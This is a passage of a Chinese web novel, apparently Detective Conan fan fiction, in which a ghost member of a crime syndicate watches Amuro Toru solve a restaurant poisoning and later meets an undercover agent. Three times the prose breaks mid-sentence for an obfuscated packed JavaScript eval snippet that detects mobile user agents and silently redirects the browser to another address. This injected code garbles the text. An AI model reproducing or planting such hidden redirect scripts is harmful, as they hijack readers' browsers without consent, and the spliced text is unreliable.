只是这个世界没有存档也不能重开而已,于是风间羽栖得出一个结论:系统的制作者是个游戏迷。
系统不知道宿主在想什么,但总感觉有人好像在背后念叨自己。
安室透看着尴尬的女生微笑点了点头,没说什么。
风间羽栖眨了眨眼,没明白为什么红发女生见到安室会尴尬,但是他没多想,带着歉意委婉拒绝:“不好意思。”
安室透松了口气,风间羽栖奇怪的看了他一眼。
红发女生失望的放下手机:“啊……怎么回事,今天问了两个人都是拒绝。”
问了两个人?风间羽栖嘴角抽了抽,原来是“广撒网”吗?他看着一边笑而不语的安室先生,大概猜到了另一个人是谁了。
红发女生的朋友,那个短头发女生按耐不住站起来,拉了拉红发女生:“洁子,好了啦……抱歉,两位先生,不好意思打扰了。”
洁子嘀嘀咕咕:“明绘,我就是想帮你早日逃离苦海,那个男的就是看你没男朋友又好欺负,整天骚扰你。”
被称为“明绘”的女生眼眶都有些红了,一方面是因为洁子说的话,一方面是因为今天要联系方式连续被两个人拒绝多少有点挫败感,但她还是扯着红发女生要回去:“走吧,走吧,人家都拒绝了……”声音染上了哀求。
一旁的安室透听到她们的对话皱起了眉:“如果遇到什么恶性骚扰可以报警。”
看出明绘窘迫心情的风间羽栖再次道歉:“明绘小姐人很好,我是因为工作原因才拒绝的。”
听到他的话,安室透若有所思,前面恰好在洁子来问风间羽栖要联系方式出现并不是巧合,而是他故意的,毕竟他不能放着一个手上有枪茧的可疑人员和普通民众接触。
不过看风间羽栖对这两位女士的态度来看,应该和黑/手/党没什么关系,毕竟生活在暗处的人没有那么多好心,除非这是他的伪装。
或许是他误会了,可能仅仅是遇见一个枪击爱好者的客人而已,但也不能放松警惕。
[印象值+3]
[关键人物安室?对您的印象为:好心又可疑的客人。]
不知道安室透心历路程的风间羽栖:?
好心和可疑这两个有矛盾的形容词是怎么放在一起的?
明绘听了风间羽栖的话一愣,随后有些犹豫的低声说道:“啊……不用安慰我的,我确实和川勇说的一样,不招人喜欢,只有他才能勉强接受我……”
风间羽栖震撼,好明显的pua话术。
安室透的眉皱的更紧了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266275|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
洁子怒气冲冲:“不许说这种话,要是你不招人喜欢,我为什么和你做朋友?”
明绘小声反驳:“可我只有你一个好朋友……”
洁子还想说些什么,突然厕所传出一声尖叫:“死人了!”
餐厅的所有人都转头看过去。
明绘拉住了洁子的衣服张了张嘴,结结巴巴:“洁、洁子……川勇是不是还在厕所。”
安室透在听到有人尖叫,第一时间就冲了进去。
看着他身手灵活的绕过人群,飞速到达案发地点的风间羽栖:哇哦。
‘系统……’风间羽栖语气幽幽:‘你有什么金手指吗?比如说体术速成什么的?’
系统无情回应:‘……没有。’
风间羽栖大失所望,没打算往人群里挤,毕竟他现在是鬼,万一有人不小心碰到他发现自己的手能穿过他的手就完蛋了。
不过这家餐厅不算很大,风间羽栖坐的座位离厕所不远,可以很清楚看到死者倒在厕所门口。
然后风间羽栖更清晰的看见了一抹透明的灵魂从死者身上飘了出来,恶狠狠的盯着一个女人,又很快消散了。
风间羽栖:?????
他喝了口咖啡压压惊。
很显然,那抹灵魂只有风间羽栖这个同类能看见,他感觉自己扣完了无数问号,随后他艰涩的询问系统:‘不是说,这个世界只有我一个鬼吗?’
系统淡定回答:‘对啊,其他灵魂根本没办法在世界规则下停留在世间几秒。’
‘?’他更加疑惑:‘不是说没有其他非科学的力量吗?’
系统也疑惑:‘对啊,柯学。’
忽然,系统恍然大悟:‘忘了说了,不是科学,是木、可,柯——就是在这个世界,什么滑板追汽车、足球踢爆卫星……再多的不能说了,除了鬼这种影响剧情发展的存在,只要能符合主角认知,都是正常的啦~’
‘不符合的也会被世界规则纠正,就像你刚刚看见的那样。’
风间羽栖:……
二十年仿佛第一次认识这个世界,彻底被这个世界震撼到了呢。
5. 第 5 章
“我叫安室透,是个侦探。”安室透和案发现场第一发现人介绍了下自己,然后指挥周围的人群不要太过靠近案发现场。
[已解锁关键人物姓名:安室透。]
[已解锁关键人物职业:侦探。]
啊……果然是侦探啊。风间羽栖一只手撑着下巴,望向人群。
餐厅里的人都站起来围观,显然是对这场案子又害怕又好奇,除了还坐在位置上的风间羽栖。
他还坐在位置上只因为两点,第一就是人太多了,他挤不进去,而且他是鬼,还要小心不要让别人的手接触到自己的皮肤。
第二点就是他已经知道凶手是谁了……刚刚死者灵魂一直死死的盯着的那个戴着口罩的女人。
安室透检查了一下死者的尸体,发现他没有外伤,闻到死者嘴里散发的苦杏仁味后他推断:“……是□□。”
洁子和明绘挤进了人群看见死者惊叫一声,明绘倒吸一口气:“真的是川勇……”
洁子冷哼一声:“死了正好,感谢凶手,为民除害。”
可以看出,死者生前真的很不受人待见。安室透把和死者一起来的几位叫了过来一一审问。
因为知道凶手是谁,所以风间羽栖下意识的看向凶手,他注意到了奇怪的一点,就是凶手的手一直在发抖。
看样子不像是因为害怕,风间羽栖想起了曾经在医院的经历。当时他刚检查出绝症,在医院住院,某天医院住了一位亚硝酸盐中毒的病人,是吃了隔夜菜,菜没有密封保存好,形成了亚硝酸盐。
由于吃下的亚硝酸盐量比较少,又及时送医,所以没出大事,就是嘴唇发紫而且手控制不住的发抖。
所以……凶手也中毒了?为什么?或许是发现了自己控制不住手抖,那位戴着口罩的犯人小姐把手放进了口袋。
现在是秋天,她穿着一件厚重的大衣,大衣的口袋又深,所以把手放进口袋后不怎么能看出她的手在抖。
安室透看向洁子:“死者去厕所前做过什么?”
洁子看似不耐烦道:“吃饭呗。”
明绘小声回答:“没、没什么特别的……”
戴着口罩,刚刚面对询问自称森田树理的女人垂下眼沉默着。
奇怪的反应,安室透想,刚刚还向他要过联系方式的洁子小姐摆出了一副不愿多说的样子,明绘小姐并不擅长撒谎,所以可以看得出,他们在掩饰什么。
倒是这几个嫌疑人里唯一的男人三村将大大咧咧的指了下森田树理:“这次饭局是她组的,当时我去上厕所回来,发现川勇和她好像闹了什么矛盾,然后川勇又和洁子吵了一架,明绘想劝架。”
洁子冷笑:“你倒是把自己摘的干净,先和那家伙闹矛盾的是你吧?”
眼见嫌疑人要在查案现场大吵一架,警员终于来了,记者也不会放过新闻素材,紧随其后。
带头走进餐厅的警员风间羽栖很熟悉,是目暮警官。
目暮警官一进餐厅就发觉,实在是太挤了,围观的人太多,加上后来赶来的警员和记者,餐厅一下子人满为患。他艰难的用肚子顶开人群挤了进来,随后安排警员把无关人员请走。
哪怕他知道凶手也没证据证明,安室透既然是关键人物那这种案子交给他应该不难,风间羽栖有些神色恹恹的打了个哈欠,希望警员赶紧把他这个闲杂人等赶走。
大概是变鬼后遗症,现在他对睡眠的需求格外的高,所以他希望能够赶紧回家睡觉。
不过……桌子上的菜还一口没吃,是不是有点浪费了?风间羽栖悄咪咪的扫了眼人群,发现没人注意到他,于是叉子赶快吃了几口。
不幸的是,目暮警官此刻恰好回头,看见了人群中,正在吃东西,格格不入的风间羽栖,他显然对这个有着惊人样貌的年轻人印象深刻。
“风间老弟。”目暮警官打了个招呼,当时那件案子结束后,警局的人都对这个失去亲人的漂亮年轻人抱有深深的同情:“你也在这里啊?”
自来熟真可怕。从曾经案子的一号嫌疑人新晋成为“风间老弟”的风间羽栖感叹,随后他点了点头露出一个礼貌的笑:“目暮警官。”
[印象值+1]
[关键人物安室透对您的印象为:和警官认识的可疑客人。]
风间羽栖:……
要不是系统提示他都不知道安室透一直在关注他。
原本打算请他离开的警员一看见目暮警官和他认识就略过了他。
于是风间羽栖成了犯罪现场唯一的闲杂人等。
风间羽栖沉默了,他是不是和日本警员还有侦探天生气场不合,为什么每次都会被迫参与凶杀案的查案过程?
早知道刚刚应该少吃两口赶紧走的,风间羽栖觉得自己快要睡着了,为了避免自己睡着,他站了起来,走到目暮警官身侧。
安室透在厕所门口摆的绿植背后捡到了一个小瓶子,是很常见的一种治疗过敏的药物。
死者身上有皮肤红肿的症状,看样子是生前吃了什么导致了过敏。
“这个药瓶是谁的?”安室透看向三个嫌疑人:“死者生前吃过什么?”
看到这个小药瓶,洁子和明绘的表情都有点慌乱,倒是森田树理没什么反应。
看来洁子和明绘都认为死者的死因是因为这个药瓶。
“哦,这个药瓶啊,我有印象,是川勇自己的,他海鲜过敏,不过有时候会保存在明绘那,有时候会放在森田那。”三村将第一个开口。
“他自己不会拿吗?”风间羽栖按耐不住开口。对于死者他真没什么好印象,从明绘和洁子之前的对话来看,这个人骚扰女性还爱pua别人。
三村将带着点羡慕的说:“因为她们是川勇女朋友啊!”
明绘不敢置信的睁大了眼:“什、什么……我什么时候是川勇的女朋友了。”
连很少说话的森田树理都哑着声音开口了:“……我和他没关系。”
洁子气冲冲:“明明是这个人太不要脸,总是骚扰明绘她们,明绘又不擅长拒绝别人!”
“怎么可能!尤其是森田,当初都和川勇那家伙闹出了那么大的绯闻,昨天她男朋友还找上门来闹过……”
“你说够了吗?”森田树理抬眼直直的看着他。
看到她冷气逼人的眼神,三村将欺软怕硬,不敢继续说了。
气氛冷了下来,安室透走到他们吃饭的那一桌观察了下菜品。
既然死者是在厕所毒发的,而且这桌菜他们每个人都能吃到,那毒药应该不在这些菜里。但是死者的过敏原应该在菜里,安室透扫了一眼菜品,身为餐厅的服务员,他对这些菜的原材料了如指掌。
桌子上是一些餐厅寻常的蔬菜肉类和汤,安室透把目光落在了一道菜上,他记得这道菜的原材料有海鲜,是海鲜和其他肉类蔬菜包裹在面衣里炸出来的,看不出明显的原材料。
桌子上只有两只碗里有吃过这道菜留下的痕迹,一个是森田树理小姐的位置,一个是死者的位置。
也就是说森田树理知道这道菜里是有海鲜,并且从刚才三村将的话语来看,明绘和森田树理都会替死者保管药瓶,是知道他过敏的。
“这道菜是谁点的?”安室透问道。
明绘缩了缩脖子,小声回答:“是我……有、有什么问题吗?我之前没来过……是听森田小姐前两天说这家餐厅的这道菜好吃我才点的……”
安室透看了一眼带着口罩的森田树理,前两天来过这家餐厅?原本以为森田小姐带了口罩是因为有什么难言之隐或者是因为感冒,毕竟刚刚询问她的时候,她的声音沙哑。
在餐厅工作的时候,出于卧底的良好素养,他会多观察一下遮掩容貌的客人,印象里前两天戴着口罩的客人里没有森田树理,那就说明当时的森田小姐没有戴着口罩。
警员带着菜品的样本和药瓶里的剩余药片去检测,检测报告可能要过一会才能送过来。
风间羽栖已经从森田树理的表情看出来,她没有把毒下在药瓶里。
那是怎么让死者吃下去的?风间羽栖的视线落在死者身上,从他这个视角刚好可以看见死者的掌心下方有一抹红色的痕迹。
血迹?不是,如果是血迹那应该很快就会氧化变成褐色。
看起来有点像是……口红?
或许是因为风间羽栖盯着死者的手研究太久,安室透也注意到了他的目光,蹲下身翻转了死者的手腕,死者手掌边缘有口红印,而且指尖沾了点白色的粉末……
“森田小姐,”安室透站起身看向她:“可以请你摘下口罩吗?”
风间羽栖看见她的身体僵硬了一下,随后从口袋里拿出了控制不住颤抖的手,她缓缓拿下口罩。
有人倒吸了一口气。
在森田树理脸上有一大片红肿甚至泛着青紫的巴掌印,打她的人用了十成十的力气,半边脸都肿了起来。
洁子面无表情:“是那个混蛋打的森田小姐。”大家都知道她口中的“那个混蛋”是谁。
“他之前就总是强迫森田小姐喂他吃东西,当他发现森田小姐给他夹的菜里有让他过敏的海鲜时,他就狠狠打了她一巴掌。”
有记者都放下了举着相机的手,带着厌恶的看了一眼地上的死者。
但无论动机如何,真相都不能被掩藏,所以至此,杀人手法已经很清晰明了了。
从两天前森田树理就开始布局了,虽然看起来沉默寡言,但她很了解周围所有人的性格,比如说明绘小姐性格软容易顺着朋友的想法走。所以她两天前提到这家餐厅的菜,明绘小姐因为没来过这家餐厅所以在点菜的时候肯定会点这道她所知道的好吃的菜。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266276|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
比如说她知道洁子很讨厌死者,所以出了问题一定会替她掩饰,就像安室透问她们,她们没把死者和森田树理闹矛盾的事说出去。
比如说她了解死者是个自大的暴力狂,所以故意给死者吃让他过敏的东西,好让死者打她、沾上她涂在脸上的毒药,又因为死者要吃过敏药,所以过敏药就带着他手上的毒一起被死者吃下。
安室透将她的作案手法推理了出来,最后他看向森田树理的口袋,森田树理脸上的妆有被擦拭过的痕迹,案发后她根本没时间去别的地方处理:“……森田小姐,证据应该在你的口袋里吧?那张你擦掉脸上毒药的卸妆棉。”
森田树理没有动作,似乎是默认了,她很平静的接受了女警对她的搜身,但出乎意料的是,她身上没有可疑的东西。
没有证据,原本准备带她去警局的警员动作顿了一下。
“森田小姐,”风间羽栖突然开口了,他看向这位眼神平静如死水一般的犯人:“你已经有中毒的迹象了,如果我没猜错,你是把证据吞下去了吧?”
森田树理的眼神才有了微微的波动:“……是啊。”她低声承认了,她将卸妆棉包裹在白纸里吞下,纸团划伤了她的喉咙导致她的嗓音沙哑。
“从他强迫了我的那天起,我就已经准备好要杀他了。原本是打算杀了他之后,再把自己掩藏起来……”
“但是昨天我的男朋友知道了,这个混蛋透露出去的……我们原本都要结婚了,他以为我出了轨,而且证据确凿,我的每一句解释都那么苍白。在昨天,我和他分手了。”说到最后,她的声音里带了一丝哭腔。
这也就不奇怪了,从森田树理一开始的布局来看,她暗示明绘小姐点了她想点的菜品,又带上洁子小姐帮她掩饰,她一开始是不想暴露人是自己杀的。
她本来有更隐蔽是方法掩藏自己,却任由三村将把她和死者的事情说了出来,她已经就做好杀完人就自杀的准备了。
但她没有直接吃下毒药,而是拿什么东西包裹毒药再吃下,也许她自己都没发现,在她的潜意识里,她还想活着吧。
但如果再不取出她胃里的卸妆棉,等到毒药彻底溶解在胃里……
或许是风间羽栖已经死去过,他无法忽视这样微小的求生欲。
风间羽栖叹气,指了指死者:“所以你打算和他一起去死吗?”
显然这句话对森田树理来说很有效果,她的脸上露出来嫌恶的表情,她杀了这个男人就是为了摆脱他。
见到她表情松动,目暮警官暗示了一下她身边的警员小姐,警员小姐赶紧上前想把她带去医院,这次森田树理没有拒绝。
[印象值+5]
[关键人物安室透对您的印象为:善良又可疑的客人]
所以说为什么每次给他的评价上都带着“可疑”?风间羽栖无力吐槽,就因为他手上的枪茧吗?或者说他已经被组织的黑暗气场腌入味了?
他算是看出来了,安室透这个人敏锐又警惕,观察入微而且身手矫健,这样的人竟然是一家餐厅的服务生吗?
虽然说兼职侦探,但这样的人更适合去日本公安那发光发热,或者在成为非法组织里让警察头疼的犯罪分子。
……当然风间羽栖不希望是后者,虽然他自己就是“犯罪分子”,但那是被迫的,如果有可能,他更希望组织覆灭后他能脱离组织。
随着警车驶向医院,法医将死者遗体带走,案子终于告一段落。
风间羽栖打着哈欠,倦意不断从灵魂深处蔓延上来,但显然他还忘记了餐厅里的记者。
当他刚走出第一步,没有警察维持现场秩序的记者们全都涌了上来。
当然,和他一样被记者围住的还有安室透。
风间羽栖:……
“侦探先生!请问您是怎么侦破案件的?”有记者举着话筒向安室透问道。
安室透露出他的营业微笑和记者打着太极,看似什么都说了又什么都没说。
啊,所以说为什么要把我也围住啊。感觉自己是被安室透连累的风间羽栖想到。
结果另一个记者就兴冲冲的向他发问了:“您是从哪里看出犯人把证据吞下的呢?”
风间羽栖装傻:“从安室先生的推理找到了点灵感,猜的。”
于是记者又失望的转而去问安室透了。
成功的把记者的目光引向安室透。风间羽栖绕开记者准备离开。
身后传来安室透回答记者的声音。
“……就是这样,不过我只是业余侦探,能侦破案件还是靠风间先生的提示。”从刚刚目暮警官和风间羽栖的对话当中,他知道了风间羽栖的姓氏。
猝不及防听到他提到了自己,风间羽栖僵硬转身,和被记者包围的安室透对上了目光,安室透露出一个无辜又友善的微笑。
6. 第 6 章
安室透笑的无辜,嘴角上升的每一个像素点都是心眼子。
安室透现在是组织的人,侦探这个身份虽然能给他带来很多便利,但是如果真的被记者报道出来被组织看到的话就麻烦了,真查案和拿侦探身份套取信息在组织眼里还是有很大区别的。
如果因为被记者拍到照片放在报纸上,说不定会因为表现的太有正义感而被组织怀疑是卧底,虽然他的确是。
他绝不能暴露,安室透眼底深处含着歉意的看了风间羽栖一眼。
降谷零成为名为“安室透”的卧底没有多久,如果风间羽栖是一个普通的枪击爱好者的话,那风间羽栖算是他成为卧底后第一个被自己牵连的普通人。
[印象值+25。]
[关键角色安室透对您的印象为:有所亏欠的可疑客人。]
风间羽栖麻木的看了一眼系统跳出来的提示,他简直要对“可疑”这两个字应激了。
‘系统……’风间羽栖困到在心里气若游丝的喊系统:‘下次、只提示印象值就好了。’
系统:‘……好的。’怎么办,宿主听上去好像要死掉了。
看似活着实际上已经走了好一会的风间羽栖嘴里礼貌的回答每一个向他提问的记者——“碰巧发现,嗯,不知道,猜的……”
哪怕他那么敷衍,记者们仍然认为这是侦探的谦虚,接着又是激情的一番询问。
万幸的是,这群记者还算有职业操守,看出了风间羽栖脸上的困倦就没有一直围着他不放,拍了一些照片就走了。
终于,结束了。风间羽栖脸色看起来更苍白了。精神上的疲倦比他想象中的更加要命,超过阙值后头脑开始发晕。
他不小心踉跄了一下,注意着他的安室透赶紧拽了下他的胳膊,防止他的头磕到桌角。
‘宿主!!!’系统生怕他暴露身份被规则撕了,撕心裂肺的大喊。
脑海里突然出现的喊声让风间羽栖蓦然一惊,下意识以为是出现什么意外的他猛的拽回了自己的手。
带着慌乱和余悸的眼睛和安室透探究的眼神对上。
人在困到极致的情况下是不清醒的,刚刚的一瞬间,风间羽栖还以为自己被袭击了,抽回手后下意识的想从裤腿里掏枪。
结果什么都没掏着不说,这个动作反而引起了安室透的警惕。
……都怪琴酒。风间羽栖闭了闭眼,虽然他一开始是被贝尔摩德抓进组织的,但是他进入组织后却归属到了行动组,也就是琴酒麾下。
理由无他——上个行动组的技术人员被琴酒当成叛徒杀了。
刚成为琴酒搭档之一的风间羽栖几乎每天都因为太不像组织成员而被琴酒怀疑。
每次执行任务前,风间羽栖有一点小动作——其实只是他在摸鱼——琴酒都要掏枪警告他:“不要做不该做的事。”
他从一开始的惊吓变成麻木,最后变成琴酒一有动作他也掏出枪和琴酒互相瞄准的“绝美”搭档情。
这种情况在他拥有代号且调到情报组后有所改善。
顺带一提,他调到情报组的原因是因为琴酒的“大清洗”把情报组的技术人员杀了。
所以,都怪琴酒。风间羽栖咬牙切齿。
[印象值+20]
哪怕现在只让系统提示印象值,他也能猜到安室透对他的评价已经变成可疑max了。
他深吸一口气,稍微清醒了一些。后知后觉的反应过来,刚刚安室透是怕他头撞到桌子,而且他的手只是隔着衣服拽了下他的手臂,并没有碰到皮肤的风险。于是风间羽栖道谢:“谢谢安室先生。”
现在才清醒吗?安室透若有所思,那刚刚的反应是风间羽栖下意识的,身体紧绷而且下意识的想拿什么东西,如果安室透没猜错的话,他应该是想拿枪。
这个人绝不是什么单纯的射击爱好者。安室透下了定论。
“不客气。”心思百转千回的安室透面上笑着回道:“是太累了吗?”
风间羽栖对他睁眼说瞎话的本事十分佩服,明眼人都能看出来他现在很困。
要不是他刚刚一句话把记者的注意力引到了自己这,现在他已经在家呼呼大睡了。
……虽然一开始他被记者围住也想把记者的注意力转移到安室透身上。
真是一报还一报,种花家俗语诚不欺我。虽然但是,风间羽栖还是对安室透产生了一点小小的怨念。
鬼有点怨气正常吧?
‘我……要……睡……觉……’他在心里幽幽的喊。
系统:‘……’不敢吱声,好重的怨气。
“需要我送您回家吗?”安室透真诚道,说到底是他坑了一下风间羽栖,现在餐厅出了命案也营不了业,正好可以送风间羽栖回家做补偿,顺带着打探一下这位不简单的客人的身份。
看了眼天色,已经晚上了。困到不想打车的风间羽栖自然不会放过这位主动送上门的司机。
不过踏出门的那一刻,风间羽栖似乎感觉到了一道冰冷的视线,向四周张望一圈却没有看到任何人。
不会是困到出现幻觉了吧?风间羽栖揉了揉太阳穴。
一上车,风间羽栖就睡着了,坐在驾驶位的安室透:“……”这么没戒心的吗?刚刚不还很警惕?
闭着眼的风间羽栖露出了符合他这个年纪的无害又纯良,和刚刚探案时候的敏锐模样完全不同。
安室透只好压下心底的疑惑发动了车。
实际上,并不是风间羽栖没有戒心,而是因为他发现了系统的新功能。
兢兢业业给宿主站岗,一有风吹草动就提示他的工具统:‘……’
一到风间羽栖所说的目的地,安室透停下了车,没选择第一时间叫醒风间羽栖。
他不动声色的打量了一下这里,显然风间羽栖给的地址不是他住的具体位置,而是一条街。
“米花町三丁目。”在街角拐弯处的牌子上那么写着。
稍微观察了下,发现没什么疑点的安室透打算叫醒风间羽栖。
‘宿主!到了!’认真站岗的系统已经先安室透一步叫醒了他。
风间羽栖从睡梦中睁开了眼,看着转头看向自己的安室透:“到了?”
原来刚刚只是闭目养神没睡着吗?安室透思索道,可刚刚看他呼吸的起伏,是已经睡着了的:“嗯,到了。”
风间羽栖眨眨眼:“好哦,谢谢~”刚刚睡了一小会缓解了困意,加上马上要到家了,风间羽栖决定原谅这个世界一分钟。
听到他荡漾的尾音的安室透神色古怪,这个语气听上去像在撒娇一样。
不喜欢他这样说话吗?风间羽栖无辜,他是和贝尔摩德学的。
让安室透把车停在路边,风间羽栖挥了挥手就走进了巷子里。
……一无所获。安室透目送了风间羽栖离开,直到他消失在巷子拐角,才准备开车离开。
忽然,余光瞄见一到银色的身影,是一个女人。
她转头的一瞬间,透过街角的灯光可以看清她异色的双眼。
在被她发现之前,安室透收回目光发动汽车。刚刚那个女人和风间羽栖走的是一个方向,而那双十分特殊的异色瞳……则让他想起来了传闻里组织的某个代号成员。
-
一进门风间羽栖就察觉到了不对劲,空气中弥漫着一股若有若无的血腥味。
“库拉索。”他很快就猜出来是哪个人来找他了,这个猜测并不是完全得益于他的直觉。
现在他隶属于情报组
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266277|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所以来找他的人里排除情报组,朗姆和贝尔摩德是他的顶头上司,而库拉索是朗姆的心腹。
贝尔摩德无论出不出任务都不会让自己身上留下遮掩不住的血腥味。朗姆是绝对的神秘派,平常下达任务都是通过短信。只有库拉索,她是朗姆心腹,平常出任务时偶尔会拿些重要的任务资料给风间羽栖。
所以,每次她来,风间羽栖就知道——要上班了。
“昨天贝尔摩德才找过我。”熬了一个大夜的风间羽栖叹了口气。
库拉索看了他一眼,神色中仿佛明晃晃的写着——贝尔摩德找你和朗姆找你有什么关系?
她也没拖拖拉拉,拿出了u盘放在桌上:“这是这次进入组织的新人资料。”
这下子风间羽栖是真疑惑了:“新人资料?给我干嘛?”
“柏图斯,这次你会成为招收新人的主考官。”库拉索说:“琴酒会辅助你。”
等等——风间羽栖倒吸了一口气:“朗姆、大人叫我当主考官?”这种事组织不是有专门的考官吗?而且为什么还有行动处的琴酒?
库拉索神色微妙:“最近清洗的组织的卧底和叛徒太多了,上一个考官进了审讯室被处理了。”
这下风间羽栖懂了。原来是以前的考官被处理了才不得不暂时找其他代号成员顶替。
“还有……”库拉索接着说:“朗姆大人对琴酒这次的行动非常不满。”
朗姆会对琴酒不满,这是当然的。琴酒这次处理叛徒的范围太大,杀了太多人,其中就包括朗姆手底下的人,这被朗姆当成是一种挑衅,更是一种威胁。
虽然琴酒的地位没有朗姆的高,但是琴酒掌握着处理叛徒的生杀大权,也就是说只要理由够多够充分,琴酒是有权杀死代号成员的。
这让朗姆产生了一种危机感,他迫切的想要稳固自己的地位。所以让自己手底下的人成为主考官而琴酒作为副考官其实算是一种打压。
至于为什么让他来……风间羽栖垂眸思考,贝尔摩德等级虽然比朗姆低,但其实贝尔摩德备受boss宠爱,大部分情况下朗姆是指使不了贝尔摩德的;库拉索是朗姆的心腹,一定程度上代表着朗姆本人,如果让库拉索去那对琴酒的打压就太过明显。
于是在剩余的人选中,曾经和琴酒搭档过又转到情报组的他就那么脱颖而出了。
想明白的风间羽栖松了口气,幸好不是朗姆突然想提拔他的情节。
虽然朗姆的重用代表着组织地位的提高,但也代表风间羽栖不能在组织摸鱼了……看看库拉索就知道了,纯组织劳模,要盗取机密资料还要杀人放火。
这么对比下来,当新人的考官这件事比成为朗姆心腹要轻松多了。
拿起资料,风间羽栖端正了神色看着库拉索,他决定问一个严肃的问题:“……给多少?”
还以为他是要说什么重要事情的库拉索:“……”
她比了个数。
风间羽栖:“好耶!”组织给钱还是大方的。
库拉索神色莫名的看了他一眼。
-
库拉索走了之后风间羽栖打了个哈欠。
终于能好好睡觉了,刚刚和库拉索的那一番交谈又让之前在车上睡过后、被压下去的睡意涌了上来。
这么浓郁的困意显然不正常,他在半梦半醒之间想起来要询问系统:‘变成鬼后,我一天需要多少睡眠?’
不明白人类大概一天睡几小时系统:‘大概15个小时?’
风间羽栖:夺少?
以为自己说错话的系统:‘有、有问题吗?’
没有回应。
系统小心翼翼的喊:‘宿主?’
系统:‘……’
很好,宿主已经睡着了。
7. 第 7 章
一觉睡到了下午,这回风间羽栖倒是是从柔软的床上醒来,他睁着眼望着天花板。
窗帘好好的拉着,房间里一片漆黑,看了眼时间,距离他昨晚到家已经过了十六个小时。
还真是如系统所说,现在他对于睡眠有着比正常人更强烈的需求。
睡了十六个小时后他感觉神清气爽起来,撇了一眼昨天被他随手放在床头柜的u盘。
他叹了口气打算爬起来工作,结果手机忽然又亮了一下,有谁给他发来了信息——是殡仪馆。
风间羽栖才恍然间记起之前自己让殡仪馆带走了自己的尸体。已经过了三天,殡仪馆询问他尸体是要火葬还是土葬。
秉着小心至上的原则,风间羽栖在回答这个问题之前还是先询问了一下系统,他之后复活会不会回到原来的身体里。
得到了系统否定的答案:“宿主复活后会凝聚新的身体,原来的身体哪怕现在不处理也会在宿主拥有新身体后消失。”
风间羽栖松了口气,如果可以,他的确不想回到那具患有绝症的身体里去。
于是他干净利落的回复殡仪馆让他们火葬。
结果下一秒又收到了殡仪馆说火葬需要家属去现场签字的信息。
风间羽栖:……
原本还以为今天能悠闲一点呆在家里看新人资料呢。
收拾了一下,风间羽栖准备出门,不过忽然想起昨天在餐厅发生的事。
总感觉自从他变成了鬼后,遇到的案件变多了呢。
这么想着,为了以防万一,他戴好手套,他走到客厅角落的镜子面前。
其实他已经很久没照镜子了,浴室里的镜子也被他拆了下来,只剩客厅的角落里还有一面全身镜。
镜子里看见了一张熟悉又陌生的脸,风间羽栖恍惚了一瞬,在他没什么表情的时候看起来有些散漫和冷漠,还有一点不易察觉的疲惫。
啊,活人微死的表情。风间羽栖对自己这幅表情做出评价。
于是他弯了弯嘴角,镜子里的人也跟着他笑,这下子又看起来和张扬肆意的少年人一样并无差别。
现在是死人微活了。他移开视线,打开镜子边缘的机关,从后面拿出了一把枪,要是再遇上什么案件或者意外,可以防身。
收拾妥当,他出了门,殡仪馆里的很远,风间羽栖虽然考了驾照但是他不想开车,于是拦了一辆出租车。
-
化名为绿川明的诸伏景光和搭档执行组织的任务——替某个代号成员收尾。
需要销毁的尸体身份是对组织有异心的财阀成员,生前也算作恶多端,被那个代号成员一枪毙命,死前的神情异常惊恐。
代号成员总是有些特权的,比如说,处理尸体这种事情,可以交给有能力的底层人员负责——这也算是一种对底层人员的提拔。
接到这个任务的诸伏景光伪装成一个出租车司机,将尸体装上出租车的后备箱,打算运到殡仪馆交给已经混入殡仪馆的搭档火化。
然后在去往殡仪馆的路上被一个路人拦了下来。
为了符合伪装,诸伏景光停下了车,他透过后视镜观察了一下上车的乘客。
从身形上看,应该很年轻,打扮的很休闲,大约是出去玩或者去商场的。不过奇怪的是,他戴了一双黑色的皮质手套,随着他拉开车门的动作,瘦弱苍白的手腕在手套边缘和袖口之间显露一瞬。
或许是年轻人的潮流吧?诸伏景光想,自从他被选中要成为卧底之后,已经很久没接触这些东西了。
诸伏景光收回目光,他运尸体的时候,把尸体装作喝醉的样子搬上了后座位,之后又开到隐蔽的地方把尸体放到了后备箱。
虽然座位上的血迹他已经清理过了,并且喷了香水遮掩味道,但为了避免麻烦,他还是开口了:“上一位客人喝醉后吐在后座了,可能没完全清理干净。”
他歉意的笑笑:“您介意的话,可以坐到副驾驶。”
风间羽栖上车的动作一顿,怪不得一上车就闻见一股浓郁的香水味,大概是上个人留下的酒气太浓了才不得不拿香水遮掩。
